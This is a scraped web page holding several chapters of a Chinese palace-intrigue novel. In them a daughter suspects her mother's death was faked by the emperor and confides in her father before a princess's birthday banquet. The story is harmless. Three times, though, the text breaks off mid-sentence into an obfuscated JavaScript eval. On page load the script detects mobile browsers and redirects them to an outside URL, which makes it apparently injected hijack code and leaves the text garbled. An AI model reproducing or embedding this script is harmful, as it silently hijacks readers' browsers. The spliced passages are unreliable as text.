“我母亲的过世,可能没有表面上看起来那么简单!”谢荼缓缓答道。 姜鹤福至心灵:“所以你是想让我帮着查一查关于你母亲当年的事情?” 谢荼愕然:“不然呢?” 姜鹤心中五味杂陈。 他欢喜的是,谢荼有事,第一个想到的便是他;可他难过的是,今日恐怕没有机会说出自己“自荐枕席”的话了。 “我以为你惧怕被选进宫,所以便要……” 姜鹤猛然刹住话头。 谢荼哑然失笑。 姜鹤怎么同谢英一样,总是将她的所作所为与婚事联想到一起。 不过,姜鹤的话也提醒了她。 她回想起那日成惠帝看向自己的眼神,除了上位者的威严之外,便是一种难以言喻的占有欲。 这和幼时成惠帝帮助雪中将要冻僵的自己完全不同。 若是背后确实是郑皇后安排的这一切,那她要提醒自己的究竟是什么? 难道是要自己通过陈太妃所述,查询当年的真相,并且提醒自己后宫水深,不要妄自踏入? 谢荼望着桌上精致的糕点,百思不得其解。 104. 用膳 “皇后娘娘同陛下的感情如何?”谢荼停顿片刻,又继续追问,“或者说,陛下对皇后娘娘膝下无子,可有怨怼?” 成惠帝自己是从夺嫡中杀出来的,很难说他是不是故意不让中宫皇后有子。 如今成惠帝膝下皇子稀少,成气候的也少。 大皇子乃是中宫嫡出,可惜幼年早夭,二皇子最肖似成惠帝,朝中拥护他为太子人选的呼声也最高。 三公主与六皇子梁濯乃一母同胞,可惜胎里不足,二人均离不开药罐子,便是成惠帝也不怎么喜欢,所以二人在宫中受了不少白眼。 宝珠公主排行第四,后面还有个五公主母妃身份低微,在后宫之中也是个无人问津的存在。 “皇后娘娘出身将门,最想看到的便是江山稳固,边塞平安,所以皇后娘娘待陛下如何,全要看陛下待郑家如何。” 谢荼点了点头,望向姜鹤:“如果说,皇后娘娘其实对陛下已经心生戒备,那么便能说明,陛下其实也对郑家有所不满,甚至打算动手清算?” 姜鹤收起表情,脸上挂着前所未有的肃穆:“如果皇后娘娘确有行动,那的确能如此说明。” 谢荼联想陈太妃口中提到的那个人,整个人没来由地精神了起来: “皇后娘娘想向我谢家示好,想替郑家寻求文官庇佑!” “因为她已经认为,陛下不足以成为她的依靠,而同时她也想以她手中捏着的东西,向我换取一份信任!” 说到这里,谢荼再次停顿一瞬,双眸深沉闪着寒光,肃杀之意溢于言表。 “虽然接下来的猜想有些耸人听闻,但是我还是觉得有必要告诉你一声。” “我的母亲,或许还活在世上。” “她,或许就被藏在后宫之中!” “啪嗒——” 姜鹤手中刚刚捏起的糕点掉落在桌面上,弹了两下,又掉在他的下摆上,洒了他一身碎屑。 谢荼见他吃惊如此,连忙伸手替他弹开碎屑。 姜鹤茫然捉住她的手,疑问道:“你为何有这般猜想?这……岂非……” 君夺臣妻! 这是怎样的惊世骇俗言论! 谢荼知道,这句话说出口,便是有着大逆不道之罪的嫌疑。 “我知道,事情还没有查证时,万不可胡言乱语,但是种种现象表明,我母亲病逝这件事,处处都透着疑点。” 从前服侍母亲的婢女全都放了出去,只有管理她嫁妆的陪房徐妈妈仍然留在府里。 再加上祖母提起母亲时那副难以言明的表情,她合理怀疑母亲的事情另有隐情。 “我的外祖一家均在江南,母亲过世之后的这些年,其实同外祖一家并无什么来往,这才是最奇怪的地方。” “我父亲对母亲情根深种,按理说即便是母亲过世,对外祖一家也该有正常来往,更何况我父亲是个孝顺的,他……” 谢荼说着说着,自己停住了:“除非,是我外祖家主动断了来往。” “这样,我给你几个婢女的名讳,可能这些人有些嫁在了京城,有些回了江南,托你去查一她们的踪迹。” “我总觉得,我母亲去世这件事并没有这么简单。” 谢荼抬眸,透过窗户看向皇宫的方向。 莫非,郑皇后出手提醒,是因为她看出了春日宴上,成惠帝打起了自己的主意? 姜鹤显然也想到了这一点,他开口道:“还有一件事,我想同你说。” “春日宴那日,原本宜兰园并不是贵女们休息落脚的地方。” “闺女们都是被临时安排过去的,而命令将宜兰园打扫出来使用的,另有其人。” 虽然还没查得出是谁下的命令,可是若是当真如他们二人猜想,这背后的人选,实在是太好猜了。 “所以皇后娘娘才在路途中,利用陈太妃将我截走,逼得那背后之人不得不改了计策。” 姜鹤修长的手指点着桌面,心中没来由地慌了起来。 他深谙皇室中的弯弯绕绕,若当真是郑皇后亲自给谢荼的提点,恐怕皇帝的确是将主意打到了谢荼的身上。 “原本以为可能是我多想,眼下发觉,陛下可能确实是想对你出手,而皇后娘娘察觉出了异常,这才贸然插手。” 姜鹤唇角紧紧地抿着,一息后开口道:“陛下见到你时,神情如何?” 谢荼的视线扫过桌面上的糕点,眼底多了几许疑惑: “幼时见到陛下,只觉得陛下看我时,像是在透过我在看旁人。” “可春日宴那日见到陛下,陛下的眼中多了几许强硬的占有欲。” 如果母亲的死真的另有玄机,如果陛下真的对自己产生了兴趣,那自己的婚事…… 谢荼猛然抬眸看向姜鹤,认真道:“在秋选之前,我要查出真相。” 剩下的话她没有说,但她相信姜鹤一定能懂。 两人在雅间用了糕点,又聊了些许旧闻,这才双双打道回府。 晚膳前,谢愉恩命高山前来传话,说是让谢荼去水榭一道用饭。 谢荼进小厨房做了道桂花莲子羹,端着小盅敲响了谢愉恩书房的大门。 谢愉恩坐在太师椅上,手边堆着小山似的折子,正提着细毫誊抄着重要内容。 见谢荼端着小盅进来,浅笑道:“只是一起吃顿晚饭,不必折腾这些小玩意儿!” 谢荼则应道:“听闻父亲忙于朝政,已经好久没有吃口热乎饭菜了,难得能让女儿陪着用饭,可不得炫耀一下女儿的手艺?” “清火明目,父亲临睡前用一些,休养休养才是。” 谢愉恩侧头看向高山:“去让人把饭菜摆好。” 高山应声出去,临出门前特意替他们将书房门关上。 谢愉恩抬眸看向谢荼,眼神带着深意:“听说王婕妤之妹被陛下赐婚,嫁给了皇后娘娘的侄子,还是个庶出的,这件事你可知晓?” 谢荼半垂下眼,低声道:“春日宴上,王怜不慎落水,被郑远所救,皇后娘娘出面请赐的婚,王婕妤也是知晓的。” 谢愉恩听了这番话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575322|126565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,短暂一愣,问道:“可是那王怜欺负了你?” 谢荼眨了眨眼:“父亲眼下还觉得,女儿是个随便会被人欺负的主儿?” 谢愉恩旋即笑出了声:“是了,我的女儿,可不是人人都能欺压的。” 他话锋一转,再次问道:“这次进宫,可有旁的事情,要和为父说?” 谢荼愣了愣,一时不知如何开口。 谢愉恩放下手中的细毫,放下手中的折子,神情严肃且认真:“若是有旁的,一定要同为父说,凡事我们父女有商有量。” 气氛就在此刻突然凝固,谢荼神情晦暗,谢愉恩则是一脸深沉。 恰好此时房门被高山敲响,他候在门外轻声请示:“老爷,饭菜好了,是否现在就用?” 谢愉恩索性站起身子,答道:“这就摆饭吧!” 高山应声,带着婢女们入了水榭,将厅堂正中的圆桌上摆上了今晚的膳食。 等餐食摆满了一大桌子,谢荼这才发现,这些都是她素日爱吃的。 谢愉恩没有留下任何伺候晚膳的人,他给高山使了个眼神,高山便带着所有人离开了水榭,也亦如刚才那般,轻轻带上了门。 听着脚步声,高山并未走远,只是在水榭前走动,像是在替他们二人守门。 坐在圆桌边上,谢荼便知道,在后宫之中发生的事情,谢愉恩只怕是已经知晓了。 但是他并没有因为谢荼的刻意隐瞒而生气,反而是一脸和蔼地亲自给谢荼夹了好些菜。 “若是为父没有记错的话,这些可都是你爱吃的菜。”谢愉恩就如同所有慈爱的父亲一般,温声道,“喜欢就多吃点,瞧着你都清瘦了许多。” 谢荼抬眸看向他,浅笑道:“原本女儿就嫌自己过于圆润了些,如今这身量倒是刚刚好。” 谢愉恩夹起一块儿酥骨鱼递给谢荼道:“这也是你母亲最爱吃的一道菜。” 他的眼神里透着光,看着谢荼像是在看深爱之人: “她平日里除了喜欢看话本,便是最喜欢捣鼓一些吃食。” “她是江南人士,最喜欢那些软软糯糯甜到齁牙的精致小糕点,在家里整了许多精巧的模具自己动手做。” “像这样的酥骨鱼,她都喜欢亲手去挑选鱼,将鱼炸酥炸脆,一口咬下去酥脆香甜,满口生香。” 说到这,谢愉恩轻咬了一口酥骨鱼,面带遗憾道:“可惜,为父去江南寻了好些厨师,都没有人能再模仿做出她做的味道。” 谢愉恩深深地叹了一口气,面带无限遗憾:“你年纪太小,可能已经记不得你母亲的模样,可是为父,却一辈子将她记在心里。” 谢荼也跟着咬了一口酥骨鱼,接口道:“其实,女儿还是记得母亲的。” “记得母亲在树下起舞时的翩翩身姿,记得母亲在小厨房钻研糕点时的紧蹙眉头,记得母亲元宵节从宫中回府抱着我逐渐收紧的双手。” 她缓缓吐出胸中一口阴郁之气,下定决心似的道:“父亲,女儿对一些事情起了疑心,还请父亲替女儿解惑!” 105. 密谈 听见谢荼的话,谢愉恩放下筷箸,道了一声:“你说,有什么话,咱们父女之间还不好说吗?” 谢荼同样放下筷箸,温声道:“母亲的病,可以同女儿说一说吗?” 谢愉恩眼中瞬间涌上一团悲痛神情,开始回忆那一段他最不愿想起的记忆: “一开始,你母亲开始出现嗜睡的症状,我忙于公务,没有多关心她,只当她是白日里累着了,这才睡得多了些。” “后续甚至开始出现头疼咳血的症状,请了坐馆的大夫来诊脉,都没有看出缘由,而她怕我担心,让身边人全都瞒着我不让我知晓。” “等到被我发现的时候,太医来替她诊脉的时候,竟然说她的病情,已经到了药石罔顾的程度了!” “我不信,接连换了好几位太医来替她瞧病,就连太医院原先的那位院判,都被我请了来,可是,一碗碗的药灌下去之后,她的病情却是越来越重了。” “再后来,有一天,她突然像是想通了一般,拉着我的手,说:‘既然治不好了,那就不必再治了,开心度过最后一段日子,就足够了。’” “再后来,她便陪着我,带着你和英哥儿去庄子上住了一阵子,不知道你还记不记得。” 谢荼记起些许朦胧往事,眼泪忍不住扑簌簌地往下掉。 “再后来有一天,她突然开始昏迷不醒,再后来,慢慢地,就没了气息。” “她就像是睡着了一般,躺在那儿没了声息。” 说到此处,谢愉恩一双长满皱纹的眼睛猩红一片,大好男儿泪眼婆娑地望着对面的谢愉恩: “荼儿,你知道吗?你长得很像你的母亲,在之后的日子里,你就成了为父活下去的慰藉。” 他的声音颤抖着,望向谢荼的目光越发的深沉。 “后来呢?父亲将母亲葬在了何处?” 谢愉恩深吸了几口气,最后才缓缓吐出一个地点: “那是你母亲自己选的地方,在那处庄子的后山,依山傍水,确实是一块风水宝地。” “你母亲说,将她葬得远一些,能让我远离悲伤,也让你们兄妹俩不要在笼罩着失去母亲的痛苦里成长。” “她还同我约定了,每五年,才能去看望她一次,让我顾好家,顾好你们兄妹。” 谢愉恩面容悲切,红着眼睛说着他和杜一南之间的约定。 谢荼沉默了片刻,又提起了另一件事情: “那祖母曾提起过,母亲曾经被人掳走,是什么时候发生的事情?又是在什么地方寻回了母亲?” 谢愉恩不解地看着谢荼:“怎会又问起那桩事。那件事……” 谢荼接口道:“那件事确有蹊跷,对吗父亲?” 谢愉恩双手交叉握住,放在桌面上,身体向前倾:“你是我的孩子,这点毋庸置疑,你母亲被掳走的时候,已经有了身孕,这件事也是众所周知的。” “那祖母为何要那般忌讳母亲被掳走的这件事,还一直以为我是野种?” “她那是不了解事情的严重性!” 谢愉恩蓦地打断谢荼的疑问,却有突然泄气般,双肩耷拉下来,颓然道: “这件事我一直瞒得死死的,当年知道你母亲被掳走的人,全部都被我处理掉了,可惜,你祖母还是将这件事情嚷嚷了出来!” 谢愉恩把自己的手捂得更紧了:“她出身江南,性子柔顺,从未顶撞过长辈,可也就是那次之后,凡是你祖母阴阳她的话,她都全部顶了回去。” “一开始,我以为她是受了惊吓,性子变了,后来才发现,你祖母竟然在怀疑你的身世。” “我这才明白,你母亲早就未雨绸缪替你扫清障碍,她想强硬起来,强硬到所有人都不敢质疑你的身世,她是在维护你啊!” 谢荼提起帕子,擦了擦濡湿的脸颊,盯着谢愉恩问道:“只要父亲一心相信母亲的清白,我相信不管外人如何看待,母亲的心里也是宽慰的。” 谢愉恩立马答道:“我自然是相信你母亲的,只不过她自己有了心结。” “她到死,都没有告诉我被掳走的那些时日里发生了些什么事情。” 谢荼一愣,瞪大了双眼:“那父亲是如何找到母亲踪迹的呢?” 谢愉恩叹了一口气,这才向谢荼吐露起当年的真相: “你母亲总共失踪了三日,是去街上采买制作糕点所需材料是被掳走的,悄无声息,无人知晓。” “当街掳走?竟然没有目击者?”谢荼讶然,难以置信。 “没错,这就是蹊跷之处,京城闹市街区,大庭广众之下,被人掳走,竟然没有一个人看见,为父当时去巡查踪迹之时,因为顾忌着你母亲与你们兄妹的名声,所以只能自行悄悄寻找。” “怪就怪在,无人知晓!” 谢荼的脸色也跟着变了几分,一双星眸盯着桌面上精致的糕点一动不动,不知道在想着什么。 谢愉恩却继续说道:“三日,是为父最为煎熬的三日,活不见人死不见尸,内心焦急如烈火焚烧般痛苦。” “就在为父打算进宫请旨请求大理寺刑部介入找人时,你母亲竟然完好无损地出现在了庄子上。” “我也曾经问过你母亲,可她说那三日她处于昏迷之中,背后之人她没有见到面,也没有接触过,并不知道是被何人掳走。” 谢荼的瞳孔猛然收缩,神色微敛:“母亲当真不知?” 谢愉恩的眉头皱得更紧了些,像是自责般懊恼:“为父曾经也质疑过,可是你母亲的确是想不起来任何事情,为父便在私下探查了一番。” “但无论我如何探查,总有一股神秘的力量会阻断我任何查到的线索,让我无功而返。” “此时的我便知道,这件事背后之人,一定身居高位。” 谢荼听着他的描述,心中默默有了一个人选。 可想而知,在京城这样繁华之地,有谁能当街掳走谢相之妻,而无人知晓,并且丝毫线索不留! “之后母亲就开始病了吗?”谢荼问。 “那倒没有,直到生下你,等你长到了四岁,身体才开始不好。” 谢荼心中猛然一跳,追问道:“是那年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591205|126565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元宵节入宫之后的事情吗?” 谢愉恩抿紧唇角,说:“不是之后的事情,但也是同一年发生的。” 谢荼的脸上变得很难看,脸上血色尽褪,如纸一般白。 谢愉恩有些意外,他急忙问:“荼儿,你怎么了?” 谢荼稍作喘息,之后凝神道:“父亲不是想问我,我在后宫之中究竟发生了何事?” 不等谢愉恩回答,她便继续说了下去,嗓音幽深,好似一声轻轻的叹息: “我在后宫之中,遇到了先帝的陈太妃,她似乎,将我认成了另外一个人。” 谢愉恩愣了半晌,才轻声问:“谁?” “陈太妃娘娘,唤我为‘阿南’!” 她将遇到陈太妃的事情原原本本告诉了谢愉恩。 谢愉恩抖着嘴唇,像是极其不理解一般,嗓音颤抖着重复着谢荼的话:“阿南?” “是的父亲,您没有听错,陈太妃娘娘唤我‘阿南’!” “阿南?阿南?”谢愉恩颓然坐在座椅上,又忽然直起身子,“陈太妃久居深宫,如何见过你,又为何会将你认错?这,这,这……” 谢荼看出他的脸色极为不好,连忙安慰:“女儿还没有查明,父亲你别急……” “不对,这不对。”谢愉恩如同猛然想通了什么似的,激动得越过桌子抓住了谢荼的双肩,“如果是这样的话,那一切就都说得通了!” 谢荼也想到了适才谢愉恩说的那些蹊跷事,也想起了与姜鹤母亲长宁郡主有差不多病症的母亲。 如果,当年掳走母亲的人是宫里的那位,那便当真能在京城中做到神不知鬼不觉。 如果,母亲后期的病并不是真的生病,而是有人刻意让她中毒,并且在她“去世”后将她掳走,这便能解释为何母亲言明不必再治,也直言要将自己葬在那处偏远庄子上。 她甚至都不让谢府的人去祭拜她。 如果,母亲的的确确被人藏在了宫里,这便能解释得清楚,为何陈太妃并没有见过她,却仍然将她认成了另外一个人! 谢荼遍体生寒,不敢细想他们刚刚猜到的那个猜测。 “你母亲一定一直等着我去救她,我要去救她!” 谢愉恩猛然带倒了身边的圆凳,“咚”的一声,在略显空旷的水榭书房中尤为刺耳。 “老爷,怎么了?”高山关心的声音响起。 “无事。”谢愉恩扬声呵走高山,“你去外面守着,任何人都不许放进来!” 他看着跳跃着的烛火,喃喃自语:“都怪我,我这些年,我,我当真听她的话,没有怎么去看过她,否则,否则,我早该发现那些疑点!” 他想起了那座庄子的坟墓,拉着谢荼快速道:“我立马派人去墓地好好查看一番!” 他刚要叫人,就被谢荼拦下:“若当真是宫里的那位所为,这么些年,一定留了人在我们府周围监管着。” 她略一沉思,提起姜鹤道:“不如,我委托其他人去查一查。” “姜鹤?那个纨绔子弟?他能行?”谢愉恩不太相信。 106. 宴会 谢荼见谢愉恩不相信姜鹤的能力,连忙替他说些好话。 她向谢愉恩解释了姜家的处境,以及姜鹤立的纨绔子弟的人设的内幕,还将先前无意中救了姜鹄的事情告知了他。 “我能猜测母亲是中毒假死,也是因为长宁郡主先前的病症,同母亲后期病症几乎一样。” “长宁郡主自己知晓,她的病症是因为宫中那位的授意,也正因为此,无数太医都没能整治得了她的病情。” “所以,我才觉得,母亲当年的病症,无数太医都无法救治,也是宫里的那位授意。” “父亲放心,正因为此前女儿救了姜鹄一命,长宁郡主曾经说过,将来若有那一日,一定愿意为我办一件事。” “因此,女儿认为,姜家,可以与咱们谢家共乘一条船。” 谢荼详细道明姜家二子的情况,分析了姜家如今在朝中的处境。 谢愉恩沉思半晌,终究是点头下定决心,与姜家共乘一船。 “正如你说的,我们谢家不方便办的事情,自有姜家替我们张罗,而姜家不便出面的事情,也可有我们谢家出手去做。” “互相利用,各取所需,甚妙。”谢愉恩只觉得自家闺女聪明至极。 谢荼不便与他细说自己与姜鹤之间前世今生的纠葛,但笑不语。 写着庄子地址的条子就这样送出了谢府,直奔姜鹤而去,此外条子中还夹杂着几个当年侍奉杜一南的婢女的名录。 谢荼除了想确定杜一南的确没有过世之外,还想确定一件事。 当年,谢府之中,究竟是谁敢在谢愉恩眼皮子底下,同宫里的那个人狼狈为奸,胆敢给谢相夫人下毒,甚至敢偷偷将谢相夫人的“尸首”从庄子坟墓的棺椁中运出去。 最重要的,这个人,和前一世害得谢家家破人亡是不是同一个人! 谢家衰败的开始,是从谢英参与所谓的科考舞弊案开始的。 能接触到谢英书房,在他的书房之中放入那等大逆不道之言的,必定也是府中他们身边最熟悉的人。 谢荼心中有几个猜想,只需要得到证实。 有了那等惊世骇俗的猜想,谢愉恩与谢荼父女两人共进的晚膳便没有那么好吃了,二人一道味同嚼蜡,各自脑子里飞速转着接下来将要应对的问题。 谢荼没有同谢愉恩细说皇帝对她的态度,以及她的那个猜想。 她怕作为父亲的谢愉恩,在失去爱妻之后,再也承受不住将要失去女儿的痛苦,把持不住在朝堂之上就当场同高位上坐着的那位抗争起来。 撤了饭菜,父女二人精神萎靡,从未觉得如此疲惫过。 谢荼拖着沉重的身子,慢慢悠悠晃回了重峦院,直接合衣躺在了暖榻之上。 吟心与典心二人面面相觑,看着躺在暖榻上毫无动静的谢荼,担忧道:“姑娘这是怎么了?可是与老爷有了争执?” “老爷素来刀子嘴豆腐心,姑娘消消气,过两天老爷一准儿就来寻姑娘了!” 谢荼躺在那儿,只觉得自己的呼吸吃力异常,憋闷感将她从头至尾包裹在其中,她如同深陷于泥沼之中,越挣扎,陷得越深。 “如果,知道自己在与命运做斗争,胜算渺茫,那还要继续抗争下去吗?” 谢荼偏过头,看向自己的两位心腹婢女,忍不住开口问道。 这种感觉实在是太难受了,当知道自己那些堪比天方夜谭、不切实际的猜想有可能是真的那一刻,那种自胸腔溢出,伴随着呼吸的钝痛感,便一直萦绕在她的胸前。 吟心与典心二人对视了一眼,都在对方的眼中看到了深深的担忧。 典心开口道:“姑娘,女婢不会说什么大道理,虽然人们常说‘天命难违’,可是姑娘,还有一句话,叫做‘人定胜天’!” “对啊,奴婢相信,以姑娘您的聪明才智,想做什么,都一定能成功。”吟心接口道。 听了两人的话,谢荼溺在沼泽中的痛感稍稍好过了一些。 兵来将挡,水来土掩。 皇帝在她这里并不是个好皇帝,如今天下太平的表象底下,暗流涌动,随时都有可能爆发的那些矛盾,都该一一解决。 她不知道姜家是如何准备应对的,但如今既然谢愉恩已经点头结盟,她便有必要搞清楚姜家的打算。 谢荼深深地吐出一口胸中的浊气之后,抬起一只手搭在自己的额头,半晌后出声道: “过两日是长宁郡主的生辰,替我准备一份寿礼。若是有帖子送到府上,你们便替我应下。” “姑娘,你不是一般都不愿意参加这些应酬宴席吗?为何……”典心似乎有所不解。 吟心及时扯了扯她的衣袖下摆,冲她摇了摇头道:“姑娘库房里的好东西可有好些呢,奴婢一定用心替姑娘挑选寿礼。” 吟心拖拽着典心出了内室,典心仍然不解:“姑娘心情不好,咱们为何不在里面小心陪着?” “姑娘哪里是心情不好,那分明是烦心事太多,心有郁结。”吟心去了小厨房,让厨娘准备了些容易克化的宵夜。 “那不是一个意思?姑娘一个人在屋子里,我不放心。”典心说着就要闷头往内室里冲。 吟心却再一次拉住了她:“姑娘现在最需要的,便是自己一个人安静一下,想清楚自己到底要什么,到底要怎么做。我们在她身边晃悠,会让她顾虑更多。” “我们做奴婢的,只要做好自己分内的事情,替姑娘做好后勤工作,其他的一切,只听姑娘的吩咐。” 典心赞同地点了点头:“我同姑娘是自小的情分,姑娘对我比我爹娘还要好,姑娘让我做什么,我就做什么。” 她咬着嘴唇,又犹豫道:“姑娘要去长宁郡主的生日宴席,是不是当真是要和姜鹤那浪荡子……” 吟心用细长的手指戳了戳典心的脑门儿:“你就别瞎操心了!” —————— 要说长宁郡主,可是京城之中上一辈里身份最高的女人。 先帝没有生女儿,成惠帝赢得夺嫡之战之后,仅剩下长宁郡主这么一个堂姊妹尚留于世。 有人说,这是因为成惠帝自幼便与这位堂姊妹有缘;也有人说,那是因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612469|126565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长宁郡主在夺嫡之战中坚定地站在了成惠帝的身后。 总的来说,长宁郡主便是这京城中人人想要巴结的对象。 可惜,她性子平淡,不喜社交,在定远将军及长子戍守边关之时,更是闭门不出,吃斋念佛,从不与他人结交。 这一次,长宁郡主趁着生辰大办宴席,京城中的各家门户,都以能收到邀请而为荣。 谢荼同样起了个大早,叫来珠萍、绿萍给自己梳头,吟心和典心则专心搭配衣裳。 因为姜鹤的关系,谢荼不由自主对这次的宴会重视几分,特意选了个赤金红宝石冠子,衣裳也是重工的烟云罗锦缎,十分华丽。 那冠子缠绕在云鬓之上,宛如藤蔓,红宝石则用赤金细丝攒成花样点缀发间,精致却不俗气。 烟云罗如雾如梦,缥缈却不妖气,很是惊艳。 吟心捧着铜镜,看着谢荼对着铜镜左一次又一次地打量着自己,忍不住打趣道: “都说郡主娘娘这回举办生辰宴,是要给长子挑媳妇儿,姑娘倒也不必打扮得太过打眼,万一被郡主娘娘瞧中,错点了鸳鸯谱可怎么办?” 闻言,谢荼顿时冷静了下来。 她看着铜镜中打扮得花枝招展的自己,愣怔着,自己这是在做什么? 似乎,下意识就要想将最好的一面展现给姜鹤的家人。 吟心将她的神情看在眼里,连忙岔开话题:“今儿咱们英哥儿也得了姜家的帖子,公子们在定远将军府前院,由姜家两位公子招待,咱们姑娘家就在后院,同郡主娘娘一起吃席赏花。” “上一回春日宴,因为出了王怜那档子事,早早结束了宴席,宫中没有来得及给姜鹄大哥赐婚,长宁郡主便抓住这个机会,想趁着宫中没反应过来时,快速给姜鹄大哥先行定一门亲事。” 谢荼说着姜鹤告诉她的姜家内部消息。 不过,宴席之上人多眼杂,混入些想要用不入流手段捣乱的人,也不是没可能。 姜鹤曾亲口叮嘱她,少说话,勿走动,别惊讶,等人来。 听他这话的意思,是笃定长宁郡主的生辰宴上,一定会出什么乱子似的。 “既然长宁郡主另有谋划,咱们今日便谨慎行事,切勿意气用事。” 谢荼出声叮嘱起自己身边的几个婢女, “在别人家做客,不管旁人如何挑衅,一概不理。” “若是一时冲动惹祸上身,破坏了主人家的计划,我可是不好交代了。” “奴婢知道了。”几人连声应道。 谢荼坐着自家宽大漆顶马车出行,因定远将军府不同于皇宫,规矩没有那么大,便带了吟心、典心、珠萍、绿萍一起出门。 马车稳稳停在定远将军府门口,珠萍刚撩起湘妃竹帘要搀扶谢荼下车时,便有一道熟悉的女声在旁边响起: “哟,这不是谢姑娘吗?” “刚刚将皇后娘娘的春日宴扰乱了,就又来郡主娘娘的宴席,怕不是又要捣乱一气吧?” 定远将军府门口,王家的马车停在那儿,王怜正从马车上款款走下来。 107. 波澜 谢荼的心中装着旁的事情,看见王怜就想翻白眼。 她装作没听见的样子,径直往定远将军府的大门口走去。 可惜王怜并不想如此简单放过她,又大声喊了一句: “谢家姑娘请留步!” 谢荼看着定远将军府门口一脸堆笑的管事,忍住了不耐,转身看向提着裙摆追上来的王怜,面无表情道: “王姑娘有何贵干?” 王怜放缓脚步,当着定远将军府的管事,嬉笑道: “这不是想着劝着谢姑娘,可别又在郡主娘娘的生辰宴上,搞些上不得台面的小动作,害得谢大人丢脸事小,搅乱郡主娘娘的宴会事大!” 谢荼虽然不想惹事,可也不是被人随意拿捏的主。 她当即回敬道:“王姑娘怎的出门了?听说陛下赐婚后,便被拘着在王家老老实实绣嫁衣,不让出门吗?” “怎么,今儿是太阳打西边出来了,王大人点头许可你出来放风了?未来的郑少夫人?” “你!”王怜气得瞪大了双眼。 谢荼说话的声音说小不小,说大也不大,至少面前躬身候着的定远将军府的管事是听了个全乎。 管事忍不住龇了龇牙齿,又连忙闭上嘴巴,岔开两人指了两个府中婢女道: “郡主娘娘早就候着谢姑娘了,谢姑娘快请!” “王姑娘也请。” 王怜到底还不敢给长宁郡主府上的人看脸色,只能气鼓鼓地跟在谢荼身后,进了将军府。 谢荼还是第一次进定远将军府的大门。 定远将军坐落城东,如所有京城贵族的府宅一起互相簇拥着堆在一起。 入门后,不似刻板印象中的将军府邸,满眼刀枪剑戟的摆设,反而比谢府更加附庸风雅。 因为是长宁郡主的生辰,长廊上系着颜色鲜艳的绸缎,挂着精致宫灯,显得满府喜庆。 从长廊穿过花园,直至后院穿堂,还未靠近客人休息的琉璃阁,便听到阵阵欢声笑语,脂粉香气扑鼻。 谢荼瞥了一眼阁中众人,只见夫人小姐们穿着精美华贵,满头珠翠,各顶各的耀眼。 “谢姑娘瞧见了?赴宴的贵人们都是举家前来庆贺,也不知道长宁郡主的生辰宴,为何非要请你这么个丧母的孤女前来,也不嫌晦气。” 谢荼懒得同她费口舌辩驳:“王姑娘孤身前来,莫不是也是因为丧母?” “谢荼!你胡说八道什么!” 谢荼也不让她,走进厅里大声道:“我倒是不知道,今儿来参加宴会的,都是亲缘俱在的,若是一人独自前来,则说明长辈不在,如果不是王姑娘提点,我还真不知道这个道理呢!” 适才热闹非凡的琉璃阁当即就安静下来,诸位来参加宴会的夫人小姐们,全都盯着王怜看去。 王怜尴尬一笑:“谢姑娘又说笑了,我什么时候这样说了?” 谢荼点点头:“哦,那原来我一个人来参加,并不是来给郡主娘娘找晦气的?” 王怜连忙笑道:“谢姑娘你肯定是听错了。” 谢荼没再理睬她,径直走向了冲她招手的顾茹娘。 厅中众人未再议论,全当没这回事似的继续聊起了家常。 王怜气得撕扯着手中的帕子,恶狠狠地瞪了谢荼一眼,才走开落座。 “她就会盯着你找机会磋磨你,你可千万别被她气昏了头,在你未来婆婆面前失了分寸。” 顾茹娘拉着谢荼的手打趣道。 自从隆山寺一事后,顾茹娘便成了姜鹤坚定的“拥护者”,她认为姜鹤对谢荼一往情深,谢荼又不排斥和他在一起,两人应当早些告知长辈,早些把这婚事定下。 “别瞎说。”谢荼只觉得热流窜上耳尖,忙不迭地拍了下顾茹娘的手背。 她小心地看了眼其他人,发现年长的夫人们都聚在一起说着话,姑娘们则都三五成群地聊着针线首饰或是在窗边赏花,并没有人注意到她们二人之间的对话。 “荼儿别紧张,我也就是在你面前说一说这话。”顾茹娘笑眯眯道,“你和他的事情,我一个字都没有透露给我母亲,吞在肚子里绝对不会说出去。” 她比了个缝嘴巴的手势,露出一脸狡黠神情:“不过,待你们将来成婚,可是必须给我封口费。” 热流彻底蹿上脸颊,谢荼只觉得自己面颊滚烫。 她嗔了顾茹娘一眼,端起手边的茶盏,看着四周说话的姑娘们,专心喝茶没有再说话。 不一会儿,长宁郡主便到了。 众人起身见礼,琉璃阁中窸窸窣窣站满了人。 “眼瞅着就要入夏,琉璃阁是我府上最凉爽的地方,四面通透,春风习习,最适合赏花喝茶。” 长宁郡主开口,自然是有无数人接茬: 